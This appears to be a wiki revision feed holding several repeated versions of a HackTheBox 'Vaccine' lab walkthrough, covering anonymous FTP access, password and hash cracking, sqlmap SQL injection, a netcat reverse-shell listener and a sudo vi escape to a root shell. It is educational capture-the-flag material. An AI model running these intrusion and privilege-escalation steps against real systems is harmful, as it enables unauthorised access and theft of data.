&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
if ($username === &amp;quot;admin&amp;quot; &amp;amp;&amp;amp; md5($password) === &amp;quot;&amp;lt;md5_hash&amp;gt;&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We use Hashcat or online tools like CrackStation to crack the hash.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hashcat -m 0 &amp;lt;md5_hash&amp;gt; /usr/share/wordlists/rockyou.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Password found: &#039;&#039;&#039;qwerty789&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The web application is vulnerable to SQL injection. Testing with a single quote (&#039;) returns an error, confirming the vulnerability. Using SQLMap, we automate the exploitation:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sqlmap -u &amp;quot;http://vaccine.htb/?search=&amp;quot; --dbs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Outcome: Identified databases and extracted data.&lt;br /&gt;
&lt;br /&gt;
=== Post-Exploitation ===&lt;br /&gt;
&lt;br /&gt;
Create a reverse shell payload using tools like [[https://revshells.com revshells.com]].&lt;br /&gt;
&lt;br /&gt;
Inject the payload into the SQL query or upload it via file inclusion.&lt;br /&gt;
&lt;br /&gt;
Set up a listener:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -nlvp 1337&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Execute the payload and gain shell access.&lt;br /&gt;
&lt;br /&gt;
=== Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
Search for misconfigurations and sensitive files, for example SUID binaries:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
find / -perm -4000 -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Analyze sudo permissions:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo -l&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Key finding: The &#039;&#039;&#039;vi&#039;&#039;&#039; binary can be run with sudo.&lt;br /&gt;
&lt;br /&gt;
Refer to [[https://gtfobins.github.io/ GTFOBins]] for escape techniques.&lt;br /&gt;
&lt;br /&gt;
Launch vi as sudo:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo vi&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Escape to a root shell:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vi&amp;quot;&amp;gt;&lt;br /&gt;
:! /bin/bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Verify root access and retrieve the flag:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
whoami&lt;br /&gt;
cat /root/root.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
The Vaccine machine demonstrates essential techniques for penetration testing:&lt;br /&gt;
&lt;br /&gt;
* Service enumeration.&lt;br /&gt;
* Password cracking with John the Ripper.&lt;br /&gt;
* SQL injection exploitation with SQLMap.&lt;br /&gt;
* Privilege escalation using sudo misconfigurations and GTFOBins.&lt;br /&gt;
&lt;br /&gt;
These skills are foundational for understanding system vulnerabilities and exploitation methods.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://hackthebox.com&lt;br /&gt;
* https://revshells.com&lt;br /&gt;
* https://gtfobins.github.io&lt;br /&gt;
* https://nmap.org&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=HackTheBox:_Vaccine_Room&amp;diff=17709</id>
		<title>HackTheBox: Vaccine Room</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=HackTheBox:_Vaccine_Room&amp;diff=17709"/>
		<updated>2024-12-18T22:29:29Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Vaccine.png|thumb|Vaccine Room&amp;lt;ref&amp;gt;HackTheBox: [https://app.hackthebox.com/starting-point?tier=2]&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
Vaccine is an Easy-level machine on the HackTheBox platform, designed to introduce participants to the basics of web application security, exploitation, and privilege escalation. It is an excellent starting point for beginners who want to improve their penetration testing skills and understand common web vulnerabilities in a controlled environment.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Objectives ==&lt;br /&gt;
&lt;br /&gt;
The main objectives of the Vaccine room are:&lt;br /&gt;
&lt;br /&gt;
1. Identify and exploit vulnerabilities in a web application.&lt;br /&gt;
&lt;br /&gt;
2. Gain initial foothold through web exploitation techniques.&lt;br /&gt;
&lt;br /&gt;
3. Escalate privileges to root access by analyzing misconfigurations or vulnerabilities in the system. &lt;br /&gt;
&lt;br /&gt;
== Tools and Techniques ==&lt;br /&gt;
&lt;br /&gt;
Participants may use a variety of tools to complete this room, including:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Reconnaissance tools&#039;&#039;&#039;: nmap, gobuster, dirb.&lt;br /&gt;
* &#039;&#039;&#039;Exploitation tools&#039;&#039;&#039;: Burp Suite, Metasploit (if needed), or manual payload crafting.&lt;br /&gt;
* &#039;&#039;&#039;Post-exploitation tools&#039;&#039;&#039;: linpeas, pspy, or custom scripts for local privilege escalation.&lt;br /&gt;
&lt;br /&gt;
Following techniques will be required:&lt;br /&gt;
&lt;br /&gt;
* Web application vulnerability analysis.&lt;br /&gt;
* Exploiting common misconfigurations.&lt;br /&gt;
* Utilizing tools for enumeration and exploitation.&lt;br /&gt;
* Privilege escalation techniques.&lt;br /&gt;
&lt;br /&gt;
== Walkthrough ==&lt;br /&gt;
&lt;br /&gt;
=== Reconnaissance &amp;amp; Enumeration ===&lt;br /&gt;
The first step involves scanning the target machine with nmap (nmap -sV -p &amp;lt;Target IP&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Open ports&#039;&#039;&#039;: FTP (21), SSH (22), and HTTP (80).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;FTP&#039;&#039;&#039;: Configured to allow anonymous login.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;HTTP&#039;&#039;&#039;: Running Apache HTTPD.&lt;br /&gt;
&lt;br /&gt;
By identifying open services, we determine possible attack vectors.&lt;br /&gt;
&lt;br /&gt;
=== Exploitation ===&lt;br /&gt;
&lt;br /&gt;
Using the FTP service with the anonymous login, we retrieve a file named backup.zip.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ftp &amp;lt;target-ip&amp;gt;&lt;br /&gt;
Username: anonymous&lt;br /&gt;
Password: (any)&lt;br /&gt;
ftp&amp;gt; get backup.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The ZIP file is password-protected. We use zip2john to generate a hash and John the Ripper to crack it.&lt;br /&gt;
&lt;br /&gt;
Convert the ZIP to a crackable hash:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
zip2john backup.zip &amp;gt; backup.hash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Crack the hash using rockyou.txt:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
john backup.hash --wordlist=/usr/share/wordlists/rockyou.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Password found: &#039;&#039;&#039;741852963&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Extract files:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
unzip backup.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Inside the ZIP, we find a PHP file (index.php). Analyzing its code reveals an MD5 hash used for login validation.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
if ($username === &amp;quot;admin&amp;quot; &amp;amp;&amp;amp; md5($password) === &amp;quot;&amp;lt;md5_hash&amp;gt;&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We use Hashcat or online tools like CrackStation to crack the hash.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hashcat -m 0 &amp;lt;md5_hash&amp;gt; /usr/share/wordlists/rockyou.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Password found: &#039;&#039;&#039;qwerty789&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The web application is vulnerable to SQL injection. Testing with a single quote (&#039;) returns an error, confirming the vulnerability. Using SQLMap, we automate the exploitation:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sqlmap -u &amp;quot;http://vaccine.htb/?search=&amp;quot; --dbs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Outcome: Identified databases and extracted data.&lt;br /&gt;
&lt;br /&gt;
=== Post-Exploitation ===&lt;br /&gt;
&lt;br /&gt;
Create a reverse shell payload using tools like [[https://revshells.com revshells.com]].&lt;br /&gt;
&lt;br /&gt;
Inject the payload into the SQL query or upload it via file inclusion.&lt;br /&gt;
&lt;br /&gt;
Set up a listener:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -nlvp 1337&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Execute the payload and gain shell access.&lt;br /&gt;
&lt;br /&gt;
=== Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
Search for misconfigurations and sensitive files, for example SUID binaries:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
find / -perm -4000 -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Analyze sudo permissions:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo -l&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Key finding: The &#039;&#039;&#039;vi&#039;&#039;&#039; binary can be run with sudo.&lt;br /&gt;
&lt;br /&gt;
Refer to [[https://gtfobins.github.io/ GTFOBins]] for escape techniques.&lt;br /&gt;
&lt;br /&gt;
Launch vi as sudo:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo vi&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Escape to a root shell:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vi&amp;quot;&amp;gt;&lt;br /&gt;
:! /bin/bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Verify root access and retrieve the flag:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
whoami&lt;br /&gt;
cat /root/root.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
The Vaccine machine demonstrates essential techniques for penetration testing:&lt;br /&gt;
&lt;br /&gt;
* Service enumeration.&lt;br /&gt;
* Password cracking with John the Ripper.&lt;br /&gt;
* SQL injection exploitation with SQLMap.&lt;br /&gt;
* Privilege escalation using sudo misconfigurations and GTFOBins.&lt;br /&gt;
&lt;br /&gt;
These skills are foundational for understanding system vulnerabilities and exploitation methods.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://hackthebox.com&lt;br /&gt;
* https://revshells.com&lt;br /&gt;
* https://gtfobins.github.io/&lt;br /&gt;
* https://nmap.org/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=HackTheBox:_Vaccine_Room&amp;diff=17708</id>
		<title>HackTheBox: Vaccine Room</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=HackTheBox:_Vaccine_Room&amp;diff=17708"/>
		<updated>2024-12-18T22:28:31Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Vaccine.png|thumb|Vaccine Room&amp;lt;ref&amp;gt;Quelle: [https://app.hackthebox.com/starting-point?tier=2]&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
Vaccine is an Easy-level machine on the HackTheBox platform, designed to introduce participants to the basics of web application security, exploitation, and privilege escalation. It is an excellent starting point for beginners who want to improve their penetration testing skills and understand common web vulnerabilities in a controlled environment.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Objectives ==&lt;br /&gt;
&lt;br /&gt;
The main objectives of the Vaccine room are:&lt;br /&gt;
&lt;br /&gt;
1. Identify and exploit vulnerabilities in a web application.&lt;br /&gt;
&lt;br /&gt;
2. Gain initial foothold through web exploitation techniques.&lt;br /&gt;
&lt;br /&gt;
3. Escalate privileges to root access by analyzing misconfigurations or vulnerabilities in the system. &lt;br /&gt;
&lt;br /&gt;
== Tools and Techniques ==&lt;br /&gt;
&lt;br /&gt;
Participants may use a variety of tools to complete this room, including:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Reconnaissance tools&#039;&#039;&#039;: nmap, gobuster, dirb.&lt;br /&gt;
* &#039;&#039;&#039;Exploitation tools&#039;&#039;&#039;: Burp Suite, Metasploit (if needed), or manual payload crafting.&lt;br /&gt;
* &#039;&#039;&#039;Post-exploitation tools&#039;&#039;&#039;: linpeas, pspy, or custom scripts for local privilege escalation.&lt;br /&gt;
&lt;br /&gt;
Following techniques will be required:&lt;br /&gt;
&lt;br /&gt;
* Web application vulnerability analysis.&lt;br /&gt;
* Exploiting common misconfigurations.&lt;br /&gt;
* Utilizing tools for enumeration and exploitation.&lt;br /&gt;
* Privilege escalation techniques.&lt;br /&gt;
&lt;br /&gt;
== Walkthrough ==&lt;br /&gt;
&lt;br /&gt;
=== Reconnaissance &amp;amp; Enumeration ===&lt;br /&gt;
The first step involves scanning the target machine with nmap (nmap -sV -p &amp;lt;Target IP&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Open ports&#039;&#039;&#039;: FTP (21), SSH (22), and HTTP (80).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;FTP&#039;&#039;&#039;: Configured to allow anonymous login.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;HTTP&#039;&#039;&#039;: Running Apache HTTPD.&lt;br /&gt;
&lt;br /&gt;
By identifying open services, we determine possible attack vectors.&lt;br /&gt;
&lt;br /&gt;
=== Exploitation ===&lt;br /&gt;
&lt;br /&gt;
Using the FTP service with the anonymous login, we retrieve a file named backup.zip.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ftp &amp;lt;target-ip&amp;gt;&lt;br /&gt;
Username: anonymous&lt;br /&gt;
Password: (any)&lt;br /&gt;
ftp&amp;gt; get backup.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The ZIP file is password-protected. We use zip2john to generate a hash and John the Ripper to crack it.&lt;br /&gt;
&lt;br /&gt;
Convert the ZIP to a crackable hash:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
zip2john backup.zip &amp;gt; backup.hash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Crack the hash using rockyou.txt:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
john backup.hash --wordlist=/usr/share/wordlists/rockyou.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Password found: &#039;&#039;&#039;741852963&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Extract files:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
unzip backup.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Inside the ZIP, we find a PHP file (index.php). Analyzing its code reveals an MD5 hash used for login validation.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
if ($username === &amp;quot;admin&amp;quot; &amp;amp;&amp;amp; md5($password) === &amp;quot;&amp;lt;md5_hash&amp;gt;&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We use Hashcat or online tools like CrackStation to crack the hash.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hashcat -m 0 &amp;lt;md5_hash&amp;gt; /usr/share/wordlists/rockyou.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Password found: &#039;&#039;&#039;qwerty789&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The web application is vulnerable to SQL injection. Testing with a single quote (&#039;) returns an error, confirming the vulnerability. Using SQLMap, we automate the exploitation:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sqlmap -u &amp;quot;http://vaccine.htb/?search=&amp;quot; --dbs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Outcome: Identified databases and extracted data.&lt;br /&gt;
&lt;br /&gt;
=== Post-Exploitation ===&lt;br /&gt;
&lt;br /&gt;
Create a reverse shell payload using tools like [[https://revshells.com revshells.com]].&lt;br /&gt;
&lt;br /&gt;
Inject the payload into the SQL query or upload it via file inclusion.&lt;br /&gt;
&lt;br /&gt;
Set up a listener:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -nlvp 1337&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Execute the payload and gain shell access.&lt;br /&gt;
&lt;br /&gt;
=== Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
Search for misconfigurations and sensitive files, for example SUID binaries:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
find / -perm -4000 -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Analyze sudo permissions:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo -l&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Key finding: The &#039;&#039;&#039;vi&#039;&#039;&#039; binary can be run with sudo.&lt;br /&gt;
&lt;br /&gt;
Refer to [[https://gtfobins.github.io/ GTFOBins]] for escape techniques.&lt;br /&gt;
&lt;br /&gt;
Launch vi as sudo:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo vi&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Escape to a root shell:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vi&amp;quot;&amp;gt;&lt;br /&gt;
:! /bin/bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Verify root access and retrieve the flag:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
whoami&lt;br /&gt;
cat /root/root.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
The Vaccine machine demonstrates essential techniques for penetration testing:&lt;br /&gt;
&lt;br /&gt;
* Service enumeration.&lt;br /&gt;
* Password cracking with John the Ripper.&lt;br /&gt;
* SQL injection exploitation with SQLMap.&lt;br /&gt;
* Privilege escalation using sudo misconfigurations and GTFOBins.&lt;br /&gt;
&lt;br /&gt;
These skills are foundational for understanding system vulnerabilities and exploitation methods.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://hackthebox.com&lt;br /&gt;
* https://revshells.com&lt;br /&gt;
* https://gtfobins.github.io/&lt;br /&gt;
* https://nmap.org/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Vaccine.png&amp;diff=17707</id>
		<title>File:Vaccine.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Vaccine.png&amp;diff=17707"/>
		<updated>2024-12-18T22:25:00Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=HackTheBox:_Vaccine_Room&amp;diff=17706</id>
		<title>HackTheBox: Vaccine Room</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=HackTheBox:_Vaccine_Room&amp;diff=17706"/>
		<updated>2024-12-18T22:24:37Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Vaccine is an Easy-level machine on the HackTheBox platform, designed to introduce participants to the basics of web application security, exploitation, and privilege escalation. It is an excellent starting point for beginners who want to improve their penetration testing skills and understand common web vulnerabilities in a controlled environment.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Objectives ==&lt;br /&gt;
&lt;br /&gt;
The main objectives of the Vaccine room are:&lt;br /&gt;
&lt;br /&gt;
1. Identify and exploit vulnerabilities in a web application.&lt;br /&gt;
&lt;br /&gt;
2. Gain initial foothold through web exploitation techniques.&lt;br /&gt;
&lt;br /&gt;
3. Escalate privileges to root access by analyzing misconfigurations or vulnerabilities in the system. &lt;br /&gt;
&lt;br /&gt;
== Tools and Techniques ==&lt;br /&gt;
&lt;br /&gt;
Participants may use a variety of tools to complete this room, including:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Reconnaissance tools&#039;&#039;&#039;: nmap, gobuster, dirb.&lt;br /&gt;
* &#039;&#039;&#039;Exploitation tools&#039;&#039;&#039;: Burp Suite, Metasploit (if needed), or manual payload crafting.&lt;br /&gt;
* &#039;&#039;&#039;Post-exploitation tools&#039;&#039;&#039;: linpeas, pspy, or custom scripts for local privilege escalation.&lt;br /&gt;
&lt;br /&gt;
Following techniques will be required:&lt;br /&gt;
&lt;br /&gt;
* Web application vulnerability analysis.&lt;br /&gt;
* Exploiting common misconfigurations.&lt;br /&gt;
* Utilizing tools for enumeration and exploitation.&lt;br /&gt;
* Privilege escalation techniques.&lt;br /&gt;
&lt;br /&gt;
== Walkthrough ==&lt;br /&gt;
&lt;br /&gt;
=== Reconnaissance &amp;amp; Enumeration ===&lt;br /&gt;
The first step involves scanning the target machine with nmap (nmap -sV -p &amp;lt;Target IP&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Open ports&#039;&#039;&#039;: FTP (21), SSH (22), and HTTP (80).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;FTP&#039;&#039;&#039;: Configured to allow anonymous login.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;HTTP&#039;&#039;&#039;: Running Apache HTTPD.&lt;br /&gt;
&lt;br /&gt;
By identifying open services, we determine possible attack vectors.&lt;br /&gt;
&lt;br /&gt;
=== Exploitation ===&lt;br /&gt;
&lt;br /&gt;
Using the FTP service with the anonymous login, we retrieve a file named backup.zip.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ftp &amp;lt;target-ip&amp;gt;&lt;br /&gt;
Username: anonymous&lt;br /&gt;
Password: (any)&lt;br /&gt;
ftp&amp;gt; get backup.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The ZIP file is password-protected. We use zip2john to generate a hash and John the Ripper to crack it.&lt;br /&gt;
&lt;br /&gt;
Convert the ZIP to a crackable hash:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
zip2john backup.zip &amp;gt; backup.hash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Crack the hash using rockyou.txt:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
john backup.hash --wordlist=/usr/share/wordlists/rockyou.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Password found: &#039;&#039;&#039;741852963&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Extract files:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
unzip backup.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Inside the ZIP, we find a PHP file (index.php). Analyzing its code reveals an MD5 hash used for login validation.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
if ($username === &amp;quot;admin&amp;quot; &amp;amp;&amp;amp; md5($password) === &amp;quot;&amp;lt;md5_hash&amp;gt;&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We use Hashcat or online tools like CrackStation to crack the hash.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hashcat -m 0 &amp;lt;md5_hash&amp;gt; /usr/share/wordlists/rockyou.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Password found: &#039;&#039;&#039;qwerty789&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The web application is vulnerable to SQL injection. Testing with a single quote (&#039;) returns an error, confirming the vulnerability. Using SQLMap, we automate the exploitation:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sqlmap -u &amp;quot;http://vaccine.htb/?search=&amp;quot; --dbs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Outcome: Identified databases and extracted data.&lt;br /&gt;
&lt;br /&gt;
=== Post-Exploitation ===&lt;br /&gt;
&lt;br /&gt;
Create a reverse shell payload using tools like [[https://revshells.com revshells.com]].&lt;br /&gt;
&lt;br /&gt;
Inject the payload into the SQL query or upload it via file inclusion.&lt;br /&gt;
&lt;br /&gt;
Set up a listener:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -nlvp 1337&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
